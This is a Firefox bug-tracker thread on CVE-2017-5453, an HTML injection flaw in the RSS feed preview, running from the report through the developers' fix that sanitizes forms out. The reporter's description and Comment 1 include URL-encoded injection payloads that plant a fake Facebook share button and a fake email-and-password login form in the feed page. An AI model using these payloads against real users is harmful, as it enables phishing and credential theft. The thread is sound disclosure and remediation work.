1321247 - (CVE-2017-5453) HTML Injection into RSS reader

Status: RESOLVED FIXED

(Firefox Graveyard :: RSS Discovery and Preview, defect)

Description

[Jose María Acuña]

User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36

Steps to reproduce:

Subscribe to an RSS news feed from a website in Firefox.

In certain circumstances, it is possible to inject html code by modifying the normal behavior of the RSS reader.

Original source: https://arxiv.org/help/api/index

Actual example: http://export.arxiv.org/api/query?search_query=algorithms

Example that prompts the user to Share on Facebook (you can redirect to a login impersonation page)

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cform%20action=%22https://arxiv.org/find/all/1/all:+cela/0/1/0/all/0/1%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%3Cinput%20type=%22image%22%20align=%22right%22%20valign=%22top%22%20width=%22200%22%20margin=%220%22%20padding=%220%22%20src=%22https://www.cabq.gov/culturalservices/biopark/images/share-on-facebook.png%22%20/%3E%3C/form%3E

Example using proper html elements of the page by adding more real content (you can redirect to a phising page)

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://www.mozilla.com%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%20%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=-1%3EPuedes%20cambiar%20la%20configuraci%C3%B3n%20para%20que%20la%20barra%20de%20marcadores%20aparezca%20en%20todas%20las%20p%C3%A1ginas.%3C/font%3E%3Cbutton%20align=%22right%22%3EVer%20tus%20marcadores%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

Another example that could recover the user and password of an email account:

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://www.mozilla.com%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%20%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=-1%3EPuedes%20cambiar%20la%20configuraci%C3%B3n%20para%20que%20la%20barra%20de%20marcadores%20aparezca%20en%20todas%20las%20p%C3%A1ginas.%3C/font%3E%3Cbutton%20align=%22right%22%3EVer%20tus%20marcadores%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

(the id_token parameter is dummy and is used to hide the html code of the page)

With more imagination could get impressive results.


Actual results:

It is possible to inject html code by modifying the normal behavior of the RSS reader.


Expected results:

The rss manager should escape the characters sent as url parameters

Comment 1

[Jose María Acuña]

Example of email account:

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://mail.google.com?%22%20method=%22get%22%3E%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=%223%22%20color=%22chocolate%22%3EAhora%20puedes%20a%C3%B1adir%20las%20fuentes%20a%20tu%20gestor%20de%20correo%20de%20Google.%3C/font%3E%3Cbr/%3E%3Cinput%20type=%22email%22%20placeholder=[e-mail]%22%20required=%22required%22%3E%3Cinput%20type=%22password%22%20placeholder=%22password%22%20required=%22required%22%3E%3Cbutton%20align=%22right%22%3EA%C3%B1adir%20a%20Google%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

Comment 2

[Jose María Acuña]

Attachment: rss-firefox.png

Comment 3

[Daniel Veditz [:dveditz]]

Not quite cross-site scripting (did we disable script in the feed context?), but HTML injection through the feed's <title> element.

This example uses a feed that was found to echo its params, but a site could also make its own feed to do this. Mitigation: since script doesn't run it's really down to the imagination of the attacker whether they could get a user to interact with the injected elements and what that might fool the user into doing.

Interestingly, the feed in the example is escaping the attempt to inject angle brackets; loaded as raw XML the feed is safe. The feed reader code is taking &lt;&gt; and turning them back into live angle brackets! Why?!

Maybe I'm lacking imagination but for now calling this a sec-low spoof.

Comment 4

[Daniel Veditz [:dveditz]]

Going to raise this to sec-moderate. Should anyone accidentally remove the block on scripts this becomes somewhat worse.

Comment 5

[Phil Ringnalda (:philor)]

Whatever the feed preview page chooses to do with it, the feed parser is doing the right thing: <title type="html">&lt;br></title> says to tell the consuming app "here's some HTML source, '<br>', do with it as you will". The &lt; is at the XML layer, you have to escape < in XML content, so an XML parser just says "you've got an element named title, with the type attribute 'html' and the content <br>."

Comment 6

[:Gijs (he/him)]

(In reply to Phil Ringnalda (:philor) from comment #5)
> Whatever the feed preview page chooses to do with it, the feed parser is
> doing the right thing: <title type="html">&lt;br></title> says to tell the
> consuming app "here's some HTML source, '<br>', do with it as you will". The
> &lt; is at the XML layer, you have to escape < in XML content, so an XML
> parser just says "you've got an element named title, with the type attribute
> 'html' and the content <br>."

None of this is being used. The feedwriter code (which constructs the dynamic portion of the contents of subscribe.xhtml) calls createDocumentFragment - not the DOM one, but a custom one defined here: https://dxr.mozilla.org/mozilla-central/rev/b548da4e16f067e5b69349376e37b2db97983cf7/toolkit/components/feeds/FeedProcessor.js#612-630 which uses parserUtils to parse the contents as HTML.

This very much looks like it's a deliberate decision in order to preserve markup in feeds, so just using the text will almost certainly break real-world sites (inasmuch as RSS is still a thing).

We can drop forms by using better sanitize flags. I'm kind of surprised that dropping forms isn't the nsIParserUtils default (ie allowing style/script is opt-in, but apparently allowing forms is opt-out - it's not clear to me *why*...).

Comment 7

[:Gijs (he/him)]

Attachment: feed-form-html-patch.txt

Look dolske, it's another feed reader exploit. :'-(

Comment 8

[:Gijs (he/him)]

So, just to explain: I decided rendering html in the title and subtitle of the feed, as well as the title of entries in the feed, was pointless, so I disabled it. The only place we continue to show HTML is in the feed entry content, where we now strip form elements and a number of other things.

Comment 9

[:Gijs (he/him)]

Comment on attachment 8824449 [details] [diff] [review]
feed-form-html-patch.txt

Review of attachment 8824449 [details] [diff] [review]:
-----------------------------------------------------------------

Eh, this fails tests.

Comment 10

[:Gijs (he/him)]

So apparently people put in actual work to make HTML work in the titles here, see bug 436801. I don't really mind what we do - we can update the test, or we can make the code allow markup and strip forms and some other stuff (changes which the patch already includes) and hope nobody finds yet another way of abusing the limited set of HTML allowed. Thoughts?

Comment 11

[Daniel Veditz [:dveditz]]

Cool, so this is intentional and goes through the sanitizer -- that's good to hear and we can unhide this.

Forms are spoofy and hard to imagine are used or wanted in feeds; definitely not in titles. I'd still like to sanitize forms away but we can live with the rest. You don't want to use SanitizerCidEmbedsOnly -- that's for email and will result in no images in the feed, and people clearly want those. I don't think we need to use SanitizerDropNonCSSPresentation either.

Comment 12

[:Gijs (he/him)]

Attachment: Bug 1321247, sanitize forms out of the RSS reader,

Review commit: https://reviewboard.mozilla.org/r/103056/diff/#index_header
See other reviews: https://reviewboard.mozilla.org/r/103056/

Comment 13

[Jerri Rice (rehash pending)]

Would this not be a dupe of my previous work?  It's nice to see someone go deeper on it so yeah interested for sure.

Comment 14

[Jerri Rice (rehash pending)]

Also take note that you can generate video elements which can go full screen with no user interaction required(or warnings about).

This could be used to recreate the browser in its entirety and possibly do some very nice phishing and other nastiness.

Comment 15

[:Gijs (he/him)]

(In reply to Jerri Rice (rehash pending) from comment #14)
> Also take note that you can generate video elements which can go full screen
> with no user interaction required(or warnings about).

Er, how (without script)?

> This could be used to recreate the browser in its entirety and possibly do
> some very nice phishing and other nastiness.

How? You can't overlay on the fullscreen <video> element so there's no way to get user input, and you can't run script (in the RSS feed reader, anyway).

But a fullscreen video element can be accomplished without the rss reader, and at that point none of the rest of the RSS reader is visible anymore, so I don't see the point of channeling this through the RSS reader.

The point here is that in theory you could use the context of the RSS reader in order for the user to give you more trust in a form displayed in it or whatever. So the <video> stuff seems completely orthogonal, because you are no longer abusing the trust that's part of the RSS reader's content.

Comment 16

[Jose María Acuña]

I agree with Gijs, it is not possible to execute javascript code in rss reader.
In my opinion, the insertion of the form inside a gold colored box offers some credibility being able to persuade the user to enter their credentials but there are no other html elements likely to be misleading in the context of the RSS reader.

Comment 17

[Jerri Rice (rehash pending)]

To correct myself, once in full screen video mode there is no warnings or confirmation that it is fullscreen.  I would assume clickjacking could be used to get the video full screen, but yes it is not automatic, just worrisome.  Apparently about: pages are trusted with media to some degree.

Comment 18

[Daniel Veditz [:dveditz]]

Comment on attachment 8824654 [details]
Bug 1321247, sanitize forms out of the RSS reader,

https://reviewboard.mozilla.org/r/103056/#review103988

Looks good, r=dveditz

Comment 19

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/c85e7e5c007e
sanitize forms out of the RSS reader, r=dveditz

Comment 20

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/c85e7e5c007e

Comment 22

[Al Billings [:abillings - ex-MoCo]]

Also, Jose, if you want a bug considered for bounty, please email [e-mail] as our guidelines specify. Do not just mark the flag in this bug as we will unmark it when you do so normally. That's not how we handle bounties.

Comment 23

[Jose María Acuña]

(In reply to Al Billings [:abillings] from comment #22)
> Also, Jose, if you want a bug considered for bounty, please email
> [e-mail] as our guidelines specify. Do not just mark the flag in
> this bug as we will unmark it when you do so normally. That's not how we
> handle bounties.

Sorry Al Billings,
We learn from our mistakes.

Comment 24

[Jerri Rice (rehash pending)]

Btw for those that can see it, I believed this to be a dupe of bug 1307857   :-)

Comment 25

[Daniel Veditz [:dveditz]]

The bounty committee has agreed that this bug does not meet the criteria for the client bug bounty.